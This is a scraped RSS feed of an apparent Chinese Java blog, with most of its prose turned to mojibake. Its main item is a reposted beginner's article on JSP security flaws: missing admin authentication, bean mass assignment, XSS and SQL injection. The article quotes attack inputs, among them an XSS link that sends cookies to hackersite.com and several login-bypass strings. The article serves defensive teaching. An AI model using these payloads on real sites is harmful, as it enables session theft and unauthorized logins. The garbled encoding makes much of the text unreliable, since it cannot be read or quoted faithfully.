3)、如果你在网™åµä¸­å¤§é‡˜qç”¨taglibåQŒé‚£ä¹ˆä½ çš„美工将做出部分牺牲。当你结合TilesåQŒåŠŸèƒ½å¢žå¼ºçš„åŒæ—¶åQŒè¿™¿Uç‰ºç‰²å°¤ä¸ºæ˜Žæ˜¾ã€‚当ç„Óž¼Œä½ å¯¹åŠŸèƒ½å’Œç¾Žè§‚çš„å–èˆç”׃½ è‡ªå·±å†›_®š


4)、Taglib是一个好东西åQŒä½†ç‰|´»˜qç”¨å®ƒå´éœ€è¦ä¸€ä¸ªè¿‡½E‹ï¼Œå¦‚果你不惛_œ¨Taglib上花太多的时é—ß_¼Œé‚£ä¹ˆåªéœ€ç†è§£ä¸ŽFORM有关的几个标讎ͼŒå…¶å®ƒçš„æ ‡è®°å°±æ”„¡€å§ï¼Œä»¥åŽå†çœ‹åQŒå…ˆåŽÈ ”½I¶ActionServletå’ŒStruts-config.xmlåQŒä½ ä¼šè§‰å¾—很有成ž®±æ„Ÿ


5)、Struts是否只适合于大型项目呢åQŸNoåQStruts适合于各¿Uå¤§ž®çš„™å¹ç›®åQŒå½“ç„Óž¼Œå¯¹äºŽå¤§åž‹™å¹ç›®åQŒå®ƒæ‰€ä½“现出来的优势更加明显ã€?/P>

]]>
½Ž€è°ˆjsp安全¾~–程(è½?http://www.aygfsteel.com/frankboy/archive/2006/01/09/27236.htmlfrankboyfrankboyMon, 09 Jan 2006 03:35:00 GMThttp://www.aygfsteel.com/frankboy/archive/2006/01/09/27236.htmlhttp://www.aygfsteel.com/frankboy/comments/27236.htmlhttp://www.aygfsteel.com/frankboy/archive/2006/01/09/27236.html#Feedback0http://www.aygfsteel.com/frankboy/comments/commentRss/27236.htmlhttp://www.aygfsteel.com/frankboy/services/trackbacks/27236.html   今天我将和大家一起从脚本¾~–程的角度看JSP的安全,那些诸如源码暴露¾cȝš„安全隐患ž®×ƒ¸åœ¨è¿™½‹‡æ–‡ç« è®¨è®ø™Œƒå›´ä¹‹å†…了。写˜q™ç¯‡æ–‡ç« çš„主要目的是¾l™åˆå­¦JSP¾~–程的朋友们提个醒,从一开始就要培å…Õd®‰å…¨ç¼–½E‹çš„æ„è¯†åQŒä¸è¦çŠ¯ä¸è¯¥çŠ¯çš„é”™è¯¯åQŒé¿å…å¯ä»¥é¿å…çš„æŸå¤±ã€‚另外,我也是初学者,如有错误或其它意见请发帖赐教ã€?

一、认证不严——低¾U§å¤±è¯?
   在溢‹z‹è®ºå›v1.12 修正版中åQ?
user_manager.jsp是用æˆïL®¡ç†çš„™åµé¢åQŒä½œè€…知道它的敏感性,加上了一把锁åQ?
if ((session.getValue("UserName")==null)││(session.getValue("UserClass")==null)││(! session.getValue("UserClass").equals("¾pȝ»Ÿ½Ž¡ç†å‘?)))
{
response.sendRedirect("err.jsp?id=14");
return;
}
   如果要查看、修æ”ÒŽŸç”¨æˆ·çš„信息,ž®Þp¦ç”¨modifyuser_manager.jsp˜q™ä¸ªæ–‡äšg。管理员提交
http://www.somesite.com/yyforum/modifyuser_manager.jsp?modifyid=51
ž®±æ˜¯æŸ¥çœ‹ã€ä¿®æ”¹IDä¸?1的用æˆïLš„资料åQˆç®¡ç†å‘˜é»˜è®¤çš„用户IDä¸?1åQ‰ã€‚但是,如此重要的文件竟¾~ÞZ¹è®¤è¯åQŒæ™®é€šç”¨æˆøP¼ˆåŒ…括游客åQ‰ä¹Ÿç›´æŽ¥æäº¤ä¸Šè¿°è¯äh±‚也可以对其一览无余(密码也是明文存储、显½Cºçš„åQ‰ã€‚modifyuser_manage.jsp同样是门户大开åQŒç›´åˆ°æ¶æ„ç”¨æˆähŠŠæ•°æ®æ›´æ–°çš„æ“ä½œæ‰§è¡Œå®Œæ¯•ï¼Œé‡å®šå‘åˆ°user_manager.jsp的时候,他才会看见那个姗姗来˜qŸçš„æ˜„¡¤ºé”™è¯¯çš„页面。显ç„Óž¼Œåªé”ä¸€æ‰‡é—¨æ˜¯è¿œ˜qœä¸å¤Ÿçš„åQŒç¼–½E‹çš„æ—¶å€™ä¸€å®šè¦ä¸åŽŒå…¶çƒ¦åœîCؓ每一个该加èín份认证的地方加上íw«ä†¾è®¤è¯ã€?

二、守好JavaBean的入�
   JSP¾l„äšg技术的核心是被¿UîCØ“beançš„java¾l„äšg。在½E‹åºä¸­å¯æŠŠé€»è¾‘控制、数据库操作攑֜¨javabeans¾l„äšg中,然后在JSPæ–‡äšg中调用它åQŒè¿™æ ·å¯å¢žåŠ ½E‹åºçš„æ¸…晰度及程序的可重用性。和传统的ASP或PHP™åµé¢ç›¸æ¯”åQŒJSP™åµé¢æ˜¯éžå¸¸ç®€‹zçš„åQŒå› ä¸ø™®¸å¤šåŠ¨æ€é¡µé¢å¤„ç†è¿‡½E‹å¯ä»¥å°è£…到JavaBean中ã€?
   要改变JavaBean属性,要用到â€?lt;jsp:setProperty>”标记ã€?
下面的代码是假想的某电子购物¾pȝ»Ÿçš„æºç çš„一部分åQŒè¿™ä¸ªæ–‡ä»¶æ˜¯ç”¨æ¥æ˜„¡¤ºç”¨æˆ·çš„购物框中的信息的,而checkout.jsp是用来结帐的ã€?
<jsp:useBean id="myBasket" class="BasketBean">
<jsp:setProperty name="myBasket" property="*"/>
<jsp:useBean>
<html>
<head><title>Your Basket</title></head>
<body>
<p>
You have added the item
<jsp::getProperty name="myBasket" property="newItem"/>
to your basket.  
<br/>
Your total is $
<jsp::getProperty name="myBasket" property="balance"/>
Proceed to <a href="checkout.jsp">checkout</a>
   注意到property="*"了吗åQŸè¿™è¡¨æ˜Žç”¨æˆ·åœ¨å¯è§çš„JSP™åµé¢ä¸­è¾“入的åQŒæˆ–是直接通过Query String提交的全部变量的å€û|¼Œž®†å­˜å‚¨åˆ°åŒšw…çš„bean属性中ã€?
一般,用户是这æ ähäº¤è¯·æ±‚çš„åQ?
http://www.somesite.com /addToBasket.jsp?newItem=ITEM0105342
但是不守规矩的用户呢åQŸä»–们可能会提交åQ?
http://www.somesite.com /addToBasket.jsp?newItem=ITEM0105342&balance=0
˜q™æ ·åQŒbalance=0的信息就被在存储åˆîCº†JavaBean中了。当他们˜q™æ—¶ç‚¹å‡»â€œchekout”结账的时候,费用ž®±å…¨å…äº†ã€?
   ˜q™ä¸ŽPHPä¸­å…¨å±€å˜é‡å¯ÆD‡´çš„安全问题如å‡ÞZ¸€è¾™ã€‚由此可见:“property="*"”一定要慎用åQ?

三、长盛不衰的跨站脚本
   跨站脚本åQˆCross Site ScriptingåQ‰æ”»å‡ÀL˜¯æŒ‡åœ¨˜qœç¨‹WEB™åµé¢çš„HTML代码中手插入恶意的JavaScript, VBScript, ActiveX, HTML, 或Flash½{‰è„šæœ¬ï¼Œ½Hƒå–‹¹è§ˆæ­¤é¡µé¢çš„用户的隐¿Uï¼Œæ”¹å˜ç”¨æˆ·çš„设¾|®ï¼Œç ´åç”¨æˆ·çš„æ•°æ®ã€‚跨站脚本攻å‡Õdœ¨å¤šæ•°æƒ…况下不会对服务器和WEB½E‹åºçš„运行造成影响åQŒä½†å¯¹å®¢æˆïL«¯çš„安全构成严重的威胁ã€?
   以仿动网的阿菜论坛(beta-1åQ‰ä‹D个最½Ž€å•的例子。当我们提交
http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser<;script>alert(document.cookie)</script>
便能弹出包含自己cookie信息的对话框。而提�
http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser<;script>document.location='http://www.163.com'</script>
ž®Þpƒ½é‡å®šå‘到¾|‘易ã€?
   ç”׃ºŽåœ¨è¿”回“name”变量的值给客户端时åQŒè„šæœ¬æ²¡æœ‰è¿›è¡Œä“Q何编码或˜q‡æ×o恶意代码åQŒå½“用户讉K—®åµŒå…¥æ¶æ„â€œname”变量数据链接时åQŒä¼šå¯ÆD‡´è„šæœ¬ä»£ç åœ¨ç”¨æˆähµè§ˆå™¨ä¸Šæ‰§è¡Œï¼Œå¯èƒ½å¯ÆD‡´ç”¨æˆ·éšç§æ³„露½{‰åŽæžœã€‚比如下面的链接åQ?
http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser<;script>document.location='http://www.hackersite.com/xxx.xxx?'+document.cookie</script>
xxx.xxx用于攉™›†åŽè¾¹è·Ÿçš„参数åQŒè€Œè¿™é‡Œå‚数指定的是document.cookieåQŒä¹Ÿž®±æ˜¯è®‰K—®æ­¤é“¾æŽ¥çš„用户的cookie。在ASP世界中,很多人已¾læŠŠå·cookie的技术练得炉火纯青了。在JSP里,è¯Õd–cookie也不是难事。当ç„Óž¼Œè·¨ç«™è„šæœ¬ä»Žæ¥ž®×ƒ¸ä¼šå±€é™äºŽå·cookie˜q™ä¸€™å¹åŠŸèƒ½ï¼Œç›æ€¿¡å¤§å®¶éƒ½æœ‰ä¸€å®šäº†è§£ï¼Œ˜q™é‡Œž®×ƒ¸å±•开了ã€?
   å¯Òމ€æœ‰åŠ¨æ€é¡µé¢çš„è¾“å…¥å’Œè¾“å‡ºéƒ½åº”è¿›è¡Œç¼–ç ï¼Œå¯ä»¥åœ¨å¾ˆå¤§ç¨‹åº¦ä¸Šé¿å…è·¨ç«™è„šæœ¬çš„æ”»å‡…R€‚遗憄¡š„是,å¯Òމ€æœ‰ä¸å¯ä¿¡æ•°æ®¾~–码是资源密集型的工作,会对 Web 服务器äñ”生性能斚w¢çš„媄响。常用的手段˜q˜æ˜¯˜q›è¡Œè¾“入数据的过滤,比如下面的代码就把危险的字符˜q›è¡Œæ›¿æ¢åQ?
<% String message = request.getParameter("message");
message = message.replace ('<','_');
message = message.replace ('>','_');
message = message.replace ('"','_');
message = message.replace ('\'','_');
message = message.replace ('%','_');
message = message.replace (';','_');
message = message.replace ('(','_');
message = message.replace (')','_');
message = message.replace ('&','_');
message = message.replace ('+','_'); %>
   更积极的方式是利用正则表辑ּåªå…è®¸è¾“入指定的字符åQ?
public boolean isValidInput(String str)
{
if(str.matches("[a-z0-9]+")) return true;
else return false;
}

四、时åˆÈ‰¢è®°SQL注入
   一般的¾~–程书籍在教初学者的时候都不注意让他们从入门时ž®±åŸ¹å…Õd®‰å…¨ç¼–½E‹çš„习惯。著名的《JSP¾~–程思想与实è·üc€‹å°±æ˜¯è¿™æ ·å‘初学者示范编写带数据库的ç™Õd½•¾pȝ»Ÿçš„ï¼ˆæ•°æ®åº“äØ“MySQLåQ‰ï¼š
Statement stmt = conn.createStatement();
String checkUser = "select * from login where username = '" + userName + "' and userpassword = '" + userPassword + "'";
ResultSet rs = stmt.executeQuery(checkUser);
if(rs.next())
   response.sendRedirect("SuccessLogin.jsp");
else
   response.sendRedirect("FailureLogin.jsp");
   ˜q™æ ·ä½¿å¾—ž®½ä¿¡ä¹¦çš„人长期ä‹É用这样先天“带‹zžâ€çš„ç™Õd½•代码。如果数据库里存在一个名叫“jack”的用户åQŒé‚£ä¹ˆåœ¨ä¸çŸ¥é“密码的情况下至ž®‘有下面几种æ–ÒŽ³•可以ç™Õd½•åQ?
用户名:jack
密码åQ? or 'a'='a
用户名:jack
密码åQ? or 1=1/*
用户名:jack' or 1=1/*
密码åQšï¼ˆä»ÀL„åQ?
lybbsåQˆå‡Œäº‘论坛)ver 2.9.Server在LogInOut.java中是˜q™æ ·å¯¹ç™»å½•提交的数据˜q›è¡Œ‹‚€æŸ¥çš„åQ?
if(s.equals("") ││ s1.equals(""))
   throw new UserException("用户名或密码不能½Iºã€?);
if(s.indexOf("'") != -1 ││ s.indexOf("\"") != -1 ││ s.indexOf(",") != -1 ││ s.indexOf("\\") != -1)
   throw new UserException("用户名不能包æ‹?' \" \\ , ½{‰éžæ³•å­—½W¦ã€?);
if(s1.indexOf("'") != -1 ││ s1.indexOf("\"") != -1 ││ s1.indexOf("*") != -1 ││ s1.indexOf("\\") != -1)
     throw new UserException("密码不能包括 ' \" \\ * ½{‰éžæ³•å­—½W¦ã€?);
if(s.startsWith(" ") ││ s1.startsWith(" "))
      throw new UserException("用户名或密码中不能用½Iºæ ¼ã€?);
   但是我不清楚ä¸ÞZ»€ä¹ˆä»–只对密码而不对用户名˜q‡æ×o星号。另外,正斜杠似乎也应该被列到“黑名单”中。我˜q˜æ˜¯è®¤äؓ用正则表辑ּåªå…è®¸è¾“入指定范围内的字½W¦æ¥å¾—干脆ã€?
   ˜q™é‡Œè¦æé†’ä¸€å¥ï¼šä¸è¦ä»¥äØ“å¯ä»¥å‡­å€ŸæŸäº›æ•°æ®åº“¾pȝ»Ÿå¤©ç”Ÿçš„“安全性”就可以有效地抵御所有的æ”Õd‡»ã€‚pinkeyes的那½‹‡ã€ŠPHP注入实例》就¾l™é‚£äº›ä¾èµ–PHP的配¾|®æ–‡ä»¶ä¸­çš„“magic_quotes_gpc = On”的äºÞZ¸Šäº†ä¸€è¯¾ã€?

五、String对象带来的隐�
   Javaòq›_°çš„确使安全编½E‹æ›´åŠ æ–¹ä¾¿äº†ã€‚Java中无指针åQŒè¿™æ„å‘³ç€ Java ½E‹åºä¸å†åƒC那样能对地址½Iºé—´ä¸­çš„ä»ÀL„å†…存位置å¯Õd€äº†ã€‚在JSPæ–‡äšg被编译成 .class æ–‡äšg时会被检查安全性问题,例如当访问超出数¾l„大ž®çš„æ•°ç»„元素的尝试将被拒¾lï¼Œ˜q™åœ¨å¾ˆå¤§½E‹åº¦ä¸Šé¿å…äº†¾~“冲区溢出攻凅R€‚但是,String对象却会¾l™æˆ‘们带来一些安全上的隐患。如果密码是存储åœ?Java String 对象中的åQŒåˆ™ç›´åˆ°å¯¹å®ƒ˜q›è¡Œåžƒåœ¾æ”‰™›†æˆ–è¿›½E‹ç»ˆæ­¢ä¹‹å‰ï¼Œå¯†ç ä¼šä¸€ç›´é©»ç•™åœ¨å†…存中。即使进行了垃圾攉™›†åQŒå®ƒä»ä¼šå­˜åœ¨äºŽç©ºé—²å†…å­˜å †ä¸­ï¼Œç›´åˆ°é‡ç”¨è¯¥å†…å­˜ç©ºé—´äØ“æ­¢ã€‚å¯†ç ?String 在内存中é©È•™å¾—越久,遭到½Hƒå¬çš„危险性就­‘Šå¤§ã€‚æ›´¾pŸçš„æ˜¯ï¼Œå¦‚果实际内存减少åQŒåˆ™æ“ä½œ¾pȝ»Ÿä¼šå°†˜q™ä¸ªå¯†ç  String 换页调度到磁盘的交换½Iºé—´åQŒå› æ­¤å®¹æ˜“遭受磁盘块½Hƒå¬æ”Õd‡»ã€‚äØ“äº†å°†˜q™ç§æ³„密的可能性降è‡Ïxœ€ä½Žï¼ˆä½†ä¸æ˜¯æ¶ˆé™¤ï¼‰åQŒæ‚¨åº”该ž®†å¯†ç å­˜å‚¨åœ¨ char 数组中,òq¶åœ¨ä½¿ç”¨åŽå¯¹å…¶ç½®é›Óž¼ˆString 是不可变的,无法对其¾|®é›¶åQ‰ã€?

六、线½E‹å®‰å…¨åˆæŽ?
   “JAVA能做的,JSPž®Þpƒ½åšâ€ã€‚与ASP、PHP½{‰è„šæœ¬è¯­­a€ä¸ä¸€æ øP¼ŒJSP默认是以多线½E‹æ–¹å¼æ‰§è¡Œçš„。以多线½E‹æ–¹å¼æ‰§è¡Œå¯å¤§å¤§é™ä½Žå¯¹ç³»¾lŸçš„资源需求,提高¾pȝ»Ÿçš„åÆˆå‘é‡åŠå“åº”æ—¶é—´ã€‚çº¿½E‹åœ¨½E‹åºä¸­æ˜¯ç‹¬ç«‹çš„ã€åÆˆå‘çš„æ‰§è¡Œè·¯å¾„åQŒæ¯ä¸ªçº¿½E‹æœ‰å®ƒè‡ªå·Þqš„堆栈、自å·Þqš„½E‹åºè®¡æ•°å™¨å’Œè‡ªå·±çš„局部变量。虽然多¾U¿ç¨‹åº”用½E‹åºä¸­çš„大多数操作都可以òq¶è¡Œ˜q›è¡ŒåQŒä½†ä¹Ÿæœ‰æŸäº›æ“ä½œåQˆå¦‚更新全局标志或处理共享文ä»Óž¼‰ä¸èƒ½òq¶è¡Œ˜q›è¡Œã€‚如果没做好¾U¿ç¨‹çš„同步,在大òq¶å‘量访问时åQŒä¸éœ€è¦æ¶æ„ç”¨æˆïLš„“热心参与”,问题也会出现。最½Ž€å•的解决æ–ÒŽ¡ˆž®±æ˜¯åœ¨ç›¸å…³çš„JSPæ–‡äšg中加ä¸? <%@ page isThreadSafe="false" %>指ä×oåQŒä‹É它以单线½E‹æ–¹å¼æ‰§è¡Œï¼Œ˜q™æ—¶åQŒæ‰€æœ‰å®¢æˆïL«¯çš„请求以串行方式执行。这样会严重降低¾pȝ»Ÿçš„æ€§èƒ½ã€‚我们可以仍让JSPæ–‡äšg以多¾U¿ç¨‹æ–¹å¼æ‰§è¡ŒåQŒé€šè¿‡å¯¹å‡½æ•îC¸Šé”æ¥å¯¹çº¿½E‹è¿›è¡ŒåŒæ­¥ã€‚一个函数加上synchronized 关键字就获得了一个锁。看下面的示例:
public class MyClass{
   int a;
   public Init() {//此方法可以多个线½E‹åŒæ—¶è°ƒç”?
       a = 0;
   }
   public synchronized void Set() {//两个¾U¿ç¨‹ä¸èƒ½åŒæ—¶è°ƒç”¨æ­¤æ–¹æ³?
       if(a>5) {
           a= a-5;
       }
   }
}
   但是˜q™æ ·ä»ç„¶ä¼šå¯¹¾pȝ»Ÿçš„æ€§èƒ½æœ‰ä¸€å®šåª„响。一个更好的æ–ÒŽ¡ˆæ˜¯é‡‡ç”¨å±€éƒ¨å˜é‡ä»£æ›¿å®žä¾‹å˜é‡ã€‚因为实例变量是在堆中分配的åQŒè¢«å±žäºŽè¯¥å®žä¾‹çš„æ‰€æœ‰çº¿½E‹å…±äº«ï¼Œä¸æ˜¯¾U¿ç¨‹å®‰å…¨çš„ï¼Œè€Œå±€éƒ¨å˜é‡åœ¨å †æ ˆä¸­åˆ†é…ï¼Œå› äØ“æ¯ä¸ª¾U¿ç¨‹éƒ½æœ‰å®ƒè‡ªå·Þqš„堆栈½Iºé—´åQŒæ‰€ä»¥è¿™æ ïLº¿½E‹å°±æ˜¯å®‰å…¨çš„了。比如凌云论坛中æ·ÕdŠ å¥½å‹çš„ä»£ç ï¼š
public void addFriend(int i, String s, String s1)
   throws DBConnectException
{
     try
     {
           if…â€?
else
           {
               DBConnect dbconnect = new DBConnect("insert into friend (authorid,friendname) values (?,?)");
               dbconnect.setInt(1, i);
               dbconnect.setString(2, s);
               dbconnect.executeUpdate();
               dbconnect.close();
               dbconnect = null;
           }
       }
      catch(Exception exception)
       {
           throw new DBConnectException(exception.getMessage());
       }
}
   下面是调用:
friendName=ParameterUtils.getString(request,"friendname");
if(action.equals("adduser")) {
   forumFriend.addFriend(Integer.parseInt(cookieID),friendName,cookieName);
   errorInfo=forumFriend.getErrorInfo();
}
   如果采用的是实例变量åQŒé‚£ä¹ˆè¯¥å®žä¾‹å˜é‡å±žäºŽè¯¥å®žä¾‹çš„æ‰€æœ‰çº¿½E‹å…±äº«ï¼Œž®±æœ‰å¯èƒ½å‡ºçŽ°ç”¨æˆ·A传递了某个参数后他的线½E‹è{为睡眠状态,而参数被用户B无意间修改,造成好友错配的现象ã€?img src ="http://www.aygfsteel.com/frankboy/aggbug/27236.html" width = "1" height = "1" />

]]>
java学习http://www.aygfsteel.com/frankboy/archive/2005/12/27/25640.htmlfrankboyfrankboyTue, 27 Dec 2005 15:46:00 GMThttp://www.aygfsteel.com/frankboy/archive/2005/12/27/25640.htmlhttp://www.aygfsteel.com/frankboy/comments/25640.htmlhttp://www.aygfsteel.com/frankboy/archive/2005/12/27/25640.html#Feedback0http://www.aygfsteel.com/frankboy/comments/commentRss/25640.htmlhttp://www.aygfsteel.com/frankboy/services/trackbacks/25640.html********************************Java Web ¾~–程*******************************************
  Web¾~–程的核心是HTTP协议åQ?/SPAN>HTTP协议å’?/SPAN>Javaæ— å…³åQŒå¦‚果不熟悉HTTP协议的话åQŒè™½ç„¶ä¹Ÿå¯ä»¥å­¦å¥½Servlet/JSP¾~–程åQŒä½†æ˜¯è¾¾ä¸åˆ°ä¸¾ä¸€åä¸‰åQŒä¸€é€šç™¾é€šçš„境界。所ä»?/SPAN>HTTP协议的学习是必备的。如果熟悉了HTTP协议的话åQŒåˆæœ‰äº†Java¾~–程的良好的基础åQŒå­¦ä¹?/SPAN>Servlet/JSP½Ž€ç›´æ˜“如反掌,我学ä¹?/SPAN>Servlet/JSPž®Þq”¨äº†ä¸åˆîC¸€å‘¨çš„æ—‰™—´åQŒç„¶åŽå°±å¼€å§‹ç”¨JSP来做™å¹ç›®äº†ã€?/SPAN>

  åœ?/SPAN>Servlet/JSP的学习中åQŒé‡å¤´ä»ç„¶æ˜¯Servlet Documentationã€?/SPAN>Servlet API最常用的类很少åQŒèŠ±æ¯”è¾ƒž®‘的旉™—´ž®±å¯ä»¥æŽŒæ¡äº†ã€‚把˜q™äº›¾c»éƒ½çœ‹ä¸€éï¼Œå¤šå†™å‡ ä¸ªä¾‹å­è¯•试ã€?/SPAN>Servlet/JSP¾~–程本质ž®±æ˜¯åœ¨åå¤è°ƒç”¨è¿™äº›ç±»æ¥é€šè¿‡HTTP协议åœ?/SPAN>Web Serverå’?/SPAN>Brower之间交谈。另外对JSPåQŒè¿˜éœ€è¦ç†Ÿæ‚‰å‡ ä¸ªå¸¸ç”?/SPAN>JSP的标讎ͼŒå…·ä½“的写法记不住的话åQŒäÍ时查ž®±æ˜¯äº†ã€?/SPAN>

此外Java Web¾~–程学习的重点要攑֜¨Web Application的设计模式上åQŒå¦‚何进行业务逻辑的分析,òq¶ä¸”˜q›è¡Œåˆç†çš„设计,按照MVC设计模式的要求,˜qç”¨Servletå’?/SPAN>JSP分别完成不同的逻辑层,掌握如何åœ?/SPAN>Servletå’?/SPAN>JSP之间˜q›è¡Œ‹¹ç¨‹çš„æŽ§åˆ¶å’Œæ•°æ®çš„共享,以及Web Application应该如何配置和部¾|ŒÓ€?/SPAN>

***************************************J2EE¾~–程*********************************************
  以上的学习过½E‹å¦‚果是比较™åºåˆ©çš„话åQŒè¿›è¡Œåˆ°˜q™ä¸€æ­¥ï¼Œéš‘Öº¦åˆé™¡ç„¶æé«˜ã€‚å› ä¸ÞZ¸Šé¢çš„知识内容都是只涉及一个方面,而像EJBåQ?/SPAN>JMSåQ?/SPAN>JTA½{‰æ ¸å¿ƒçš„J2EE规范往往是几¿U?/SPAN>Java技术的¾l¼åˆ˜qç”¨çš„结æ™Óž¼Œæ‰€ä»¥æŽŒæ¡è“v来难度比较大ã€?/SPAN>

  首先一定要学习å¥?/SPAN>JNDIåQ?/SPAN>JNDIæ˜?/SPAN>App Server定位服务器资源(EJB¾l„äšgåQ?/SPAN>DatasouceåQ?/SPAN>JMSåQ‰æŸ¥æ‰¾æ–¹æ³•,如果å¯?/SPAN>JNDI不熟悉的话,EJBåQ?/SPAN>JMS˜q™äº›ä¸œè¥¿å‡ ä¹Žå­¦ä¸ä¸‹åŽ»ã€?/SPAN>JNDI其实ž®±æ˜¯javax.naming.*˜q™ä¸ªåŒ…,˜qç”¨èµäh¥å¾ˆç®€å•。难点在于服务器资源文äšg的配¾|®ã€‚对于服务器资源文äšg的配¾|®ï¼Œž®±éœ€è¦çœ‹çœ‹ä¸“门的文档规范了,比如web.xml的写法,ejb-jar.xml的写法等½{‰ã€‚é’ˆå¯Òޝ¿Uä¸åŒçš„App ServeråQŒè¿˜æœ‰è‡ªå·Þqš„æœåŠ¡èµ„æºé…ç½®æ–‡äšgåQŒä¹Ÿæ˜¯éœ€è¦ç†Ÿæ‚‰çš„ã€?/SPAN>

  然后可以学习JTAåQŒä¸»è¦æ˜¯è¦ç†è§?/SPAN>JTA对于事务的控制的æ–ÒŽ³•åQŒä»¥åŠè¯¥åœ¨ä»€ä¹ˆåœºåˆä‹Éç”?/SPAN>JTA。这里可以简单的举个例子åQŒæˆ‘们知道一般情况可以对于一个数据库˜qžæŽ¥˜q›è¡Œäº‹åŠ¡æŽ§åˆ¶(conn.setAutoCommit(false),....,conn.commit())åQŒåšä¸ÞZ¸€ä¸ªåŽŸå­æ“ä½œï¼Œä½†æ˜¯å‡è®¾æˆ‘çš„ä¸šåŠ¡éœ€æ±‚æ˜¯è¦æŠŠå¯¹ä¸¤ä¸ªä¸åŒæ•°æ®åº“çš„æ“ä½œåšä¸ÞZ¸€ä¸ªåŽŸå­æ“ä½œï¼Œä½ èƒ½åšçš„åˆ°å—åQŸè¿™æ—¶å€™åªèƒ½ç”¨JTA了。假设操作过½E‹æ˜¯å…ˆå¾€A数据库插一条记录,然后删除B数据库另一个记录,我们自己写代码是控制不了把整个操作做ä¸ÞZ¸€ä¸ªåŽŸå­æ“ä½œçš„ã€‚ç”¨JTA的话åQŒç”±App Server来完成控制ã€?/SPAN>

  在学ä¹?/SPAN>EJB之前要学习对象序列化å’?/SPAN>RMIåQ?/SPAN>RMIæ˜?/SPAN>EJB的基¼‹€ã€‚接着学习JMSå’?/SPAN>EJBåQŒå¯¹äº?/SPAN>EJB来说åQŒæœ€å…³é”®æ˜¯è¦ç†è§£EJB是如何通过RMI来实现对˜qœç«¯å¯¹è±¡çš„调用的åQŒä»¥åŠåœ¨ä»€ä¹ˆæƒ…况下要用åˆ?/SPAN>EJBã€?/SPAN>

  在学习完EJBåQ?/SPAN>JMS˜q™äº›ä¸œè¥¿ä¹‹åŽåQŒä½ å¯èƒ½ä¼šæ„è¯†åˆ°è¦æ€¥ä¸å¯å¾…学习两个领域的知识,一个是UMLåQŒå¦ä¸€ä¸ªæ˜¯Design Patternã€?/SPAN>Java企业软äšg的设计非帔R‡è§†æ¡†æž?/SPAN>(Framework)的设计,一个好的èÊY件框架是软äšg开发成功的必要条äšg。在˜q™ä¸ªæ—¶å€™ï¼Œåº”该开始把学习的重ç‚ÒŽ”¾åœ¨è®¾è®¡æ¨¡å¼å’Œæ¡†æž¶çš„学习上åQŒé€šè¿‡å­¦ä¹ å’Œå®žé™…çš„¾~–程¾léªŒæ¥æŽŒæ?/SPAN>EJB的设计模式和J2EE的核心模式ã€?/SPAN>

  J2EE规范里面åQŒé™¤äº?/SPAN>EJBåQ?/SPAN>JMSåQ?/SPAN>JTAåQ?/SPAN>Servlet/JSPåQ?/SPAN>JDBC之外˜q˜æœ‰å¾ˆå¤šå¾ˆå¤šçš„企业技术,˜q™é‡Œä¸ä¸€ä¸€˜q›è¡Œä»‹ç»äº†ã€?/SPAN>

  另外˜q˜æœ‰ä¸€ä¸ªæœ€æ–°é¢†åŸ?/SPAN>Web Servicesã€?/SPAN>Web Services也完全没有ä“Q何新东西åQŒå®ƒåƒæ˜¯ä¸€¿Ué»åˆå‰‚åQŒå¯ä»¥æŠŠä¸åŒçš„æœåŠ¡ç»Ÿä¸€èµäh¥æä¾›ä¸€ä¸ªç»Ÿä¸€çš„è°ƒç”¨æŽ¥å£ï¼Œä½œäØ“ä½¿ç”¨è€…æ¥è¯ß_¼Œæˆ‘只要获得服务提供者给我的WSDLåQˆå¯¹æœåŠ¡çš„æ˜qŽÍ¼‰åQŒå°±å¤Ÿäº†åQŒæˆ‘完全不知道服务器提供者提供的服务½I¶ç«Ÿæ˜?/SPAN>EJB¾l„äšgåQŒè¿˜æ˜?/SPAN>.Net¾l„äšgåQŒè¿˜æ˜¯ä»€ä¹?/SPAN>CORBA¾l„äšgåQŒè¿˜æ˜¯å…¶ä»–的什么实玎ͼŒæˆ‘也不需要知道ã€?/SPAN>Web Services最伟大的地方就在于通过¾lŸä¸€çš„æœåŠ¡æä¾›æ–¹å¼å’Œè°ƒç”¨æ–¹å¼åQŒå®žçŽîCº†æ•´ä¸ªInternetæœåŠ¡çš„å…±äº«ï¼Œæ˜¯ä¸€ä¸ªéžå¸æ€×o人激动的技术领域ã€?/SPAN>Web Services好像目前˜q˜æ²¡æœ‰ä»€ä¹ˆå¾ˆå¥½çš„书籍åQŒä½†æ˜¯å¯ä»¥é€šè¿‡åœ¨ç½‘¾lœä¸Šé¢æŸ¥èµ„料的方式来学习ã€?/SPAN>



]]>
java问答http://www.aygfsteel.com/frankboy/archive/2005/12/27/25639.htmlfrankboyfrankboyTue, 27 Dec 2005 15:39:00 GMThttp://www.aygfsteel.com/frankboy/archive/2005/12/27/25639.htmlhttp://www.aygfsteel.com/frankboy/comments/25639.htmlhttp://www.aygfsteel.com/frankboy/archive/2005/12/27/25639.html#Feedback0http://www.aygfsteel.com/frankboy/comments/commentRss/25639.htmlhttp://www.aygfsteel.com/frankboy/services/trackbacks/25639.html70个JAVA问答


1. 问:在JAVA与JSP中要调用一个LINUX上的脚本½E‹åº,或WINDOWS上的脚本½E‹åº,该怎么写?
½{”:System.getRuntime().exec("bash < aaa.sh");


2. 问:java中用什么表½CºåŒå¼•号
½{”:"\""


3. 问:如何在JSP½E‹åºé‡Œå¦èµ·ä¸€ä¸ªçº¿½E‹ï¼Ÿ
½{”:
JSP本èínž®±æ˜¯ç‹¬ç«‹¾U¿ç¨‹˜qè¡Œè€Œä¸è±¡CGI都是独立˜q›ç¨‹.
一�
Thread t = new Thread("你的对象\\");
t.start();ž®±å¯ä»¥äº†.
要求你这个对象要实现runnable接口或ç‘ô承thread.



4. 问:jsp如何获得客户端的IP地址åQ?BR>½{”:
request.getRemoteAddr()
看看各个webserverçš„API文档说明åQŒä¸€èˆ¬éƒ½æœ‰è‡ªå¸¦çš„åQŒresinå’Œtomcat都有



5. 问:½E‹åº¾lˆæ­¢ä¸Žè¾“出终æ­?BR>½{”:
½E‹åºä¸­æ­¢:return;
输出中止:out.close();˜q™ä¸€å¥ç›¸å½“于ASPçš„response.end



6. 问:jsp中如何得åˆîC¸Š™å늚„URLåQ?BR>½{”:request.getHeader("referer");



7. 问:提交¾|‘页的网™åµè¿‡æœŸåŠŸèƒ½æ˜¯æ€Žä¹ˆåšçš„åQ?BR>½{”:response.setHader("Expires","0");



